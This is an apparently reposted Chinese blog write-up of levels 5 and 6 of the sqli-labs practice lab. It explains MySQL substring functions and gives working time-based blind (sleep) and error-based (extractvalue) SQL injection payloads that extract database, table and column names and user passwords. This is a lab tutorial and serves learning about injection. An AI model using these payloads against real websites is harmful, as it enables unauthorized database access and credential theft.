zoukankan      html  css  js  c++  java
  • sqli-labs 第五关+第六关

    进入第五关之后稀里糊涂随便注了一通发现没有篮子用。可能是:布尔型盲注、报错型注入、时间延迟型盲注了。
    到这里时我们需要了解一些sql语句、函数。可以参考https://blog.csdn.net/qq_41420747/article/details/81773481

    1、构造逻辑判断

    (1)sql注入截取字符串常用涵数

     在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也称为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串。本文中主要列举三个函数和该函数注入过程中的一些用例。

    函数:mid()  substr()   left()

    mid()函数为截取字符串一部分。mid(column_name,start,length)

    column_name 必需,要提取字符的字段

    start                必需,规定开始位置(起始为1)

    length            可选,要返回的字符数,如果省略则返回剩余文本

    eg:str="123456" mid(str,2,1)  结果为2

    substr()

     Substr()和substring()函数实现的功能是一样的,均为截取字符串。

        string substring(string, start, length)

        string substr(string, start, length)

        参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

    left()函数

    Left()得到字符串左部指定个数的字符

    Left ( string, n )        string为要截取的字符串,n为长度。

    •基于时间的 SQL 盲注--延时注入

    •基于报错的 SQL 盲注-构造 payload 让信息通过错误提示回显出来

    第一种,时间延迟型注入手工注入

    时间延迟型手工注入,正确会延迟,错误没有延迟。可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。

    我们构造sql语句,带上时间延迟的函数,如果有明显的延迟说明有注入点。

    ?id=1’ and if(length(database())=n,sleep(5),1)--+

    经过几次尝试,发现数据库长度为8时有明显延迟5秒。

    ?id=1' and if(length(database())=8,sleep(5),1)--+

    猜库名

    数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

    ?id=1' and if(left(database(),1)='s',sleep(5),1)--+

    猜表名

    ?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),5)--+

    经过几次尝试找到了表名。

    猜列名

    ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

    首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky

    猜值

    ?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

    ?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

    按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb

    到这里建议使用sqlmap   https://www.cnblogs.com/tac2664/p/13772176.html 第一关的第二种方法,相同 用工具既省劲又方便

    第二种,报错注入

    爆库

    ?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

     爆表名

    ?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

     爆列名

    ?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

    爆数据

    ?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+

    ?id=1' and extractvalue(1,concat(0x23,(select username from users order by id limit 2,1),0x23))--+

    用limit 可以看所有的数据了。

    第六关

    源码中:

    $id = '"'.$id.'"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

    将第五关的单引号改为双引号即可。

  • 相关阅读:
    conan本地安装包
    Python PIL 怎么知道写入图片格式的kb大小
    怎么对C++枚举(不是类)里面的东西进行随机
    当双方Visual studio windows SDK不一样的时候的解决办法
    不小心使用vcpkg之后再使用conan,一直报链接错误
    关于obj文件的理解
    卸载VS2015之后,安装VS2017出错
    性状、生成器、闭包、OPcache【Modern PHP】
    docker容器修改hosts文件,重启失效问题解决
    微信公众号-模板消息通用接口封装
  • 原文地址:https://www.cnblogs.com/tac2664/p/13797182.html
Copyright © 2011-2022 走看看